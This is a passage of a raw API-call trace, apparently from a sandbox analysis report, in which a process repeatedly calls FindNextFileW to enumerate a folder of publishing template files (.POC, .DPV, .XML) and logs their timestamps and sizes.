dwReserved1=0x0, cFileName="ENV11.POC", cAlternateFileName="")) returned 1 [0283.853] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a79da4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a79da4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b38968, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a052, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENV98.POC", cAlternateFileName="")) returned 1 [0283.853] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a79da4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a79da4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a79da4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4af4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENV98SP.POC", cAlternateFileName="")) returned 1 [0283.853] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a79da4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a79da4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a79da4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x24efb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.DPV", cAlternateFileName="")) returned 1 [0283.853] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a79da4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a79da4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b38968, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30de, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPE.XML", cAlternateFileName="")) returned 1 [0283.853] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a79da4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a79da4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b38968, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8a32, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVHM.POC", cAlternateFileName="")) returned 1 [0283.853] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a79da4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a79da4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a79da4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1284, dwReserved0=0x0, dwReserved1=0x0, cFileName="FEZIP.POC", cAlternateFileName="")) returned 1 [0283.854] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21a79da4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21a79da4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21a79da4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfd00, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLY98SP.POC", cAlternateFileName="")) returned 1 [0283.854] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b38968, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b38968, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b38968, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15369c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYER.DPV", cAlternateFileName="")) returned 1 [0283.854] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b38968, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b38968, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b38968, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13d7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYER.XML", cAlternateFileName="")) returned 1 [0283.854] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b38968, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b38968, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b38968, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x369a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYER11.POC", cAlternateFileName="")) returned 1 [0283.854] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b38968, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b38968, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b5ebb7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe498e, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYER98.POC", cAlternateFileName="")) returned 1 [0283.854] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b5ebb7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b5ebb7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b5ebb7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd988, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLYERHM.POC", cAlternateFileName="")) returned 1 [0283.854] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b5ebb7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b5ebb7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b5ebb7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x56ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDPROJ.DPV", cAlternateFileName="")) returned 1 [0283.854] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b5ebb7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b5ebb7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b5ebb7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FOLDPROJ.XML", cAlternateFileName="")) returned 1 [0283.854] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b38968, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b38968, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b5ebb7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8c952, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORM98.POC", cAlternateFileName="")) returned 1 [0283.855] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b5ebb7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b5ebb7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b5ebb7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x820, dwReserved0=0x0, dwReserved1=0x0, cFileName="FORMCTL.POC", cAlternateFileName="")) returned 1 [0283.855] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b5ebb7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b5ebb7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b5ebb7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FS3BOX.POC", cAlternateFileName="")) returned 1 [0283.855] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b84e38, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b84e38, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b84e38, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb0c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFT.DPV", cAlternateFileName="")) returned 1 [0283.855] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b84e38, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b84e38, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b84e38, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFT.XML", cAlternateFileName="")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b84e38, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b84e38, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b84e38, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x22cf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIFT98.POC", cAlternateFileName="")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b5ebb7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b5ebb7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x21b84e38, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd6314, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREET11.POC", cAlternateFileName="")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21b5ebb7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21b5ebb7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22986bc2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x124b3b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREETING.DPV", cAlternateFileName="")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22986bc2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22986bc2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22986bc2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfb0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="GREETING.XML", cAlternateFileName="")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2293a966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2293a966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADINGBB.DPV", cAlternateFileName="HEADIN~1.DPV")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21d4ea61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21d4ea61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2293a966, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="HEADINGBB.POC", cAlternateFileName="HEADIN~1.POC")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x21d4ea61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x21d4ea61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x233f5084, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3cbaf6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVITE.DPV", cAlternateFileName="")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22986bc2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22986bc2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22986bc2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x49c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVITE.XML", cAlternateFileName="")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22986bc2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22986bc2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22986bc2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc448, dwReserved0=0x0, dwReserved1=0x0, cFileName="INVITE11.POC", cAlternateFileName="")) returned 1 [0283.856] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22b5084f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22b5084f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22ca7e1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a1ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="LABEL.DPV", cAlternateFileName="")) returned 1 [0283.857] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x233cee41, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x233cee41, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2341b2ec, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LABEL.XML", cAlternateFileName="")) returned 1 [0283.857] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2303b5cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2303b5cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2327797c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x27842, dwReserved0=0x0, dwReserved1=0x0, cFileName="LABEL98.POC", cAlternateFileName="")) returned 1 [0283.857] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2303b5cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2303b5cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x230ade29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3464, dwReserved0=0x0, dwReserved1=0x0, cFileName="LABELHM.POC", cAlternateFileName="")) returned 1 [0283.857] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22ca7e1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22ca7e1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2303b5cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f89d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LETTHEAD.DPV", cAlternateFileName="")) returned 1 [0283.857] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22ca7e1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22ca7e1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2327797c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x309e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LETTHEAD.XML", cAlternateFileName="")) returned 1 [0283.857] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x230153e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x230153e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2327797c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINEACT.POC", cAlternateFileName="")) returned 1 [0283.857] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x22ca7e1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22ca7e1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2303b5cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb026, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOGO98.POC", cAlternateFileName="")) returned 1 [0283.857] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x233a8be5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x233a8be5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x233a8be5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa82a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTHD11.POC", cAlternateFileName="")) returned 1 [0283.857] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x230153e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x230153e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2303b5cd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2383c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTHD98.POC", cAlternateFileName="")) returned 1 [0283.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x230153e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x230153e7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2327797c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTHD98SP.POC", cAlternateFileName="")) returned 1 [0283.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x230ade29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x230ade29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2327797c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9a9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LTHDHM.POC", cAlternateFileName="")) returned 1 [0283.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc74eab3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc74eab3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc74eab3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2694, dwReserved0=0x0, dwReserved1=0x0, cFileName="MAIN.XML", cAlternateFileName="")) returned 1 [0283.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x230ade29, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x230ade29, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2327797c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe56, dwReserved0=0x0, dwReserved1=0x0, cFileName="MARQUEE.POC", cAlternateFileName="")) returned 1 [0283.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2303b5cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2303b5cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x230ade29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14a14, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENU.DPV", cAlternateFileName="")) returned 1 [0283.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2303b5cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2303b5cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2322b4da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x138a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENU.XML", cAlternateFileName="")) returned 1 [0283.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2335c7ca, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2335c7ca, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2335c7ca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fd7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MENU98.POC", cAlternateFileName="")) returned 1 [0283.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2303b5cd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2303b5cd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x230ade29, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x208fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTHED98.POC", cAlternateFileName="")) returned 1 [0283.858] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23382990, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x23382990, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x23382990, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1da0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NAVBAR11.POC", 